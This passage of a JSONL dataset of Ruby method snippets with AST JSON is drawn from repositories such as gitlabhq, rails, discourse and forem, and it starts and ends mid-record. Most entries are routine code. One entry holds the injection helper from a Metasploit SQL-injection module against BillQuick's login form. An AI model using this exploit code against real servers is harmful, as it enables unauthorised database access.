},\"reset_column_information\"]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestModel\"]},\"column_names\"]},{\"type\":\"str\",\"children\":[\"nick_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestModel\"]},\"all\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"nick_name\"]}]}]}]}]}]}","id":"20223c11-a591-48a4-9b61-a972c2e97121"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/active_model_attribute_methods.rb","start_line":12,"raw_source":"def aliases_by_attribute_name\n @aliases_by_attribute_name ||= Hash.new { |h, k| h[k] = Set.new }\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"aliases_by_attribute_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@aliases_by_attribute_name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]}]}]}","id":"e1cfb23a-90fc-4770-ac6b-c34678d87404"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package.rb","start_line":248,"raw_source":"def blocked?\n blockers\n .exists?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blocked?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blockers\"]},\"exists?\"]}]}","id":"95d8883a-a9a1-4c8b-a449-993140297692"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":1029,"raw_source":"def test_cache_with_private\n get :cache_me_forever\n assert_response :ok\n assert_equal \"max-age=#{100.years}, private, immutable\", @response.headers[\"Cache-Control\"]\n assert_not_nil @response.etag\n assert_predicate @response, :weak_etag?\n end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_with_private\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"cache_me_forever\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"max-age=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[100]},\"years\"]}]},{\"type\":\"str\",\"children\":[\", private, immutable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"etag\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"ivar\",\"children\":[\"@response\"]},{\"type\":\"sym\",\"children\":[\"weak_etag?\"]}]}]}]}","id":"3ae55e6b-b97d-41f3-9287-af76596fae64"}
+{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/medium_tag.rb","start_line":26,"raw_source":"def parse_url(url)\n match = pattern_match_for(url, [REGISTRY_REGEXP])\n raise StandardError, I18n.t(\"liquid_tags.medium_tag.invalid_link_url\") unless match\n\n MediumArticleRetrievalService.new(url).call\n rescue StandardError\n raise_error\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[null,\"pattern_match_for\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REGISTRY_REGEXP\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"liquid_tags.medium_tag.invalid_link_url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MediumArticleRetrievalService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"call\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise_error\"]}]},null]}]}","id":"13764fbe-769f-4208-8b25-d695c69877df"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb","start_line":23,"raw_source":"def initialize(app, routes_app = nil, response_format = :default, interceptors = self.class.interceptors)\n @app = app\n @routes_app = routes_app\n @response_format = response_format\n @interceptors = interceptors\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"optarg\",\"children\":[\"routes_app\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"response_format\",{\"type\":\"sym\",\"children\":[\"default\"]}]},{\"type\":\"optarg\",\"children\":[\"interceptors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"interceptors\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"lvar\",\"children\":[\"app\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@routes_app\",{\"type\":\"lvar\",\"children\":[\"routes_app\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@response_format\",{\"type\":\"lvar\",\"children\":[\"response_format\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@interceptors\",{\"type\":\"lvar\",\"children\":[\"interceptors\"]}]}]}]}","id":"5a13201c-d5b0-47cd-81cd-db7dcca066dd"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/bookmarks_bulk_action.rb","start_line":33,"raw_source":"def delete\n @bookmark_ids.each do |bookmark_id|\n if guardian.can_delete?(bookmark_id)\n BookmarkManager.new(@user).destroy(bookmark_id)\n @changed_ids << bookmark_id\n end\n end\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bookmark_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bookmark_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_delete?\",{\"type\":\"lvar\",\"children\":[\"bookmark_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BookmarkManager\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},\"destroy\",{\"type\":\"lvar\",\"children\":[\"bookmark_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@changed_ids\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"bookmark_id\"]}]}]},null]}]}]}","id":"f87388d8-cf62-4219-ae82-f8b111703b30"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/application_helper.rb","start_line":498,"raw_source":"def normalized_safe_mode\n safe_mode = []\n\n safe_mode << ApplicationController::NO_THEMES if customization_disabled?\n safe_mode << ApplicationController::NO_PLUGINS if !allow_plugins?\n safe_mode << ApplicationController::NO_UNOFFICIAL_PLUGINS if !allow_third_party_plugins?\n\n safe_mode.join(\",\")\n end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"normalized_safe_mode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"safe_mode\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customization_disabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_mode\"]},\"<<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"NO_THEMES\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_plugins?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_mode\"]},\"<<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"NO_PLUGINS\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_third_party_plugins?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_mode\"]},\"<<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"NO_UNOFFICIAL_PLUGINS\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_mode\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}","id":"ccb82510-d315-4aae-b49d-b8885bbdecb6"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/billquick_txtid_sqli.rb","start_line":83,"raw_source":"def inject(content, state, generator, validation)\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'default.aspx'),\n 'method' => 'POST',\n 'vars_post' => {\n '__VIEWSTATE' => state,\n '__VIEWSTATEGENERATOR' => generator,\n '__EVENTVALIDATION' => validation,\n '__EVENTTARGET' => 'cmdOK',\n '__EVENTARGUMENT' => '',\n 'txtID' => content,\n 'txtPW' => '',\n 'hdnClientDPI' => '96'\n }\n }, datastore['HttpClientTimeout'])\n\n fail_with(Failure::Unreachable, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n fail_with(Failure::UnexpectedReply, \"#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}\") if res.code != 200\n res.body\n end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"inject\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"arg\",\"children\":[\"state\"]},{\"type\":\"arg\",\"children\":[\"generator\"]},{\"type\":\"arg\",\"children\":[\"validation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"default.aspx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__VIEWSTATE\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__VIEWSTATEGENERATOR\"]},{\"type\":\"lvar\",\"children\":[\"generator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__EVENTVALIDATION\"]},{\"type\":\"lvar\",\"children\":[\"validation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__EVENTTARGET\"]},{\"type\":\"str\",\"children\":[\"cmdOK\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__EVENTARGUMENT\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"txtID\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"txtPW\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"hdnClientDPI\"]},{\"type\":\"str\",\"children\":[\"96\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpClientTimeout\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Check URI Path, unexpected HTTP response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}","id":"a70b7b4a-eed8-49a4-8dc6-9604b0a3183a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/search/avoid_checking_finished_on_invalid_migrations.rb","start_line":59,"raw_source":"def migrations_available?\n Dir.exist?(DOCS_PATH) && Dir.exist?(MIGRATIONS_PATH)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"migrations_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"const\",\"children\":[null,\"DOCS_PATH\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"const\",\"children\":[null,\"MIGRATIONS_PATH\"]}]}]}]}","id":"3cfe920c-f35c-48be-8d2d-2964e9cb5ef1"}
+{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/about_page_users_list.rb","start_line":26,"raw_source":"def collapsible?\n container.find(\".about-page-users-list__expand-button\").has_text?(\n I18n.t(\"js.about.view_less\"),\n )\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"collapsible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"find\",{\"type\":\"str\",\"children\":[\".about-page-users-list__expand-button\"]}]},\"has_text?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.about.view_less\"]}]}]}]}","id":"b3126486-4ee7-4a15-b2e9-8c3201328467"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/jwt_token.rb","start_line":38,"raw_source":"def initialize\n super(self.class.secret)\n self.expire_time = self.issued_at + HMAC_EXPIRES_IN.to_i\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"secret\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"expire_time=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"issued_at\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HMAC_EXPIRES_IN\"]},\"to_i\"]}]}]}]}]}","id":"89380288-f484-48ca-b847-a3613d5c7f69"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/lib/snapshot/simulator_launchers/simulator_launcher_base.rb","start_line":161,"raw_source":"def erase_simulator(device_type)\n UI.verbose(\"Erasing #{device_type}...\")\n device_udid = TestCommandGenerator.device_udid(device_type)\n\n UI.important(\"Erasing #{device_type}...\")\n\n `xcrun simctl erase #{device_udid} &> /dev/null`\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"erase_simulator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Erasing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device_type\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"device_udid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestCommandGenerator\"]},\"device_udid\",{\"type\":\"lvar\",\"children\":[\"device_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Erasing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device_type\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"xcrun simctl erase \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device_udid\"]}]},{\"type\":\"str\",\"children\":[\" &> /dev/null\"]}]}]}]}","id":"bea7d7c9-70c3-4611-9126-f97a739978ec"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/api_internal_base_helpers.rb","start_line":8,"raw_source":"def gl_repository_for(container)\n case container\n when ProjectWiki\n Gitlab::GlRepository::WIKI.identifier_for_container(container)\n when Project\n Gitlab::GlRepository::PROJECT.identifier_for_container(container)\n when Snippet\n Gitlab::GlRepository::SNIPPET.identifier_for_container(container)\n end\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"gl_repository_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectWiki\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlRepository\"]},\"WIKI\"]},\"identifier_for_container\",{\"type\":\"lvar\",\"children\":[\"container\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlRepository\"]},\"PROJECT\"]},\"identifier_for_container\",{\"type\":\"lvar\",\"children\":[\"container\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snippet\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlRepository\"]},\"SNIPPET\"]},\"identifier_for_container\",{\"type\":\"lvar\",\"children\":[\"container\"]}]}]},null]}]}","id":"b54d7c02-49cc-43a9-b91a-6b2766174725"}
+{"repo_name":"rails","file_path":"./repos/rails/activestorage/test/fixture_set_test.rb","start_line":30,"raw_source":"def test_active_storage_metadata\n user = users(:first)\n\n avatar = user.avatar.tap(&:analyze)\n\n assert avatar.metadata[\"identified\"]\n assert avatar.metadata[\"analyzed\"]\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_active_storage_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"users\",{\"type\":\"sym\",\"children\":[\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"avatar\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"avatar\"]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"analyze\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar\"]},\"metadata\"]},\"[]\",{\"type\":\"str\",\"children\":[\"identified\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar\"]},\"metadata\"]},\"[]\",{\"type\":\"str\",\"children\":[\"analyzed\"]}]}]}]}]}","id":"c2bce417-64eb-4ace-b7df-45f4324070ff"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/maven/metadata/create_versions_xml_service.rb","start_line":89,"raw_source":"def update_last_updated_timestamp\n last_updated_xml_node.content = Time.zone.now.strftime('%Y%m%d%H%M%S')\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_last_updated_timestamp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_updated_xml_node\"]},\"content=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d%H%M%S\"]}]}]}]}","id":"37ea3925-9d81-4591-85ef-d961112967a1"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/settings/repository.rb","start_line":52,"raw_source":"def expand_mirroring_repositories(&block)\n expand_content('mirroring-repositories-settings-content') do\n MirroringRepositories.perform(&block)\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_mirroring_repositories\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_content\",{\"type\":\"str\",\"children\":[\"mirroring-repositories-settings-content\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MirroringRepositories\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"b7f83f4b-3dc3-4ec6-bc3f-2478133779ba"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/enterprise_token.rb","start_line":76,"raw_source":"def trialling_features\n available_features - non_trialling_features\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"trialling_features\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_features\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"non_trialling_features\"]}]}]}","id":"2256a95e-6045-4b1a-841d-bc79ead625c2"}
+{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/photos/importer.rb","start_line":17,"raw_source":"def call\n json = load_json_data\n points_data = json.map { |point| prepare_point_data(point) }\n\n points_data.compact.each_slice(BATCH_SIZE).with_index do |batch, batch_index|\n bulk_insert_points(batch)\n broadcast_import_progress(import, (batch_index + 1) * BATCH_SIZE)\n end\n end","complexity_score":17.95,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[null,\"load_json_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"points_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_point_data\",{\"type\":\"lvar\",\"children\":[\"point\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points_data\"]},\"compact\"]},\"each_slice\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]},{\"type\":\"arg\",\"children\":[\"batch_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_insert_points\",{\"type\":\"lvar\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[null,\"broadcast_import_progress\",{\"type\":\"send\",\"children\":[null,\"import\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]}]}]}]}","id":"508dbc19-313c-4764-9896-dddc53a9340d"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/feature_loader.rb","start_line":60,"raw_source":"def namespaced_target\n if relative?\n relative(namespaced_feature)\n else\n namespaced_feature\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"namespaced_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relative?\"]},{\"type\":\"send\",\"children\":[null,\"relative\",{\"type\":\"send\",\"children\":[null,\"namespaced_feature\"]}]},{\"type\":\"send\",\"children\":[null,\"namespaced_feature\"]}]}]}","id":"d011aadb-1c2b-4884-8af3-798cb894d070"}
+{"repo_name":"forem","file_path":"./repos/forem/app/helpers/notifications_helper.rb","start_line":18,"raw_source":"def render_notification_or_error(notification, error:)\n capture { yield(notification) }\n rescue StandardError => e\n raise if Rails.env.development?\n\n Honeybadger.notify(e, context: { notification_id: notification.id })\n capture { render error }\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_notification_or_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]},{\"type\":\"kwarg\",\"children\":[\"error\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Honeybadger\"]},\"notify\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\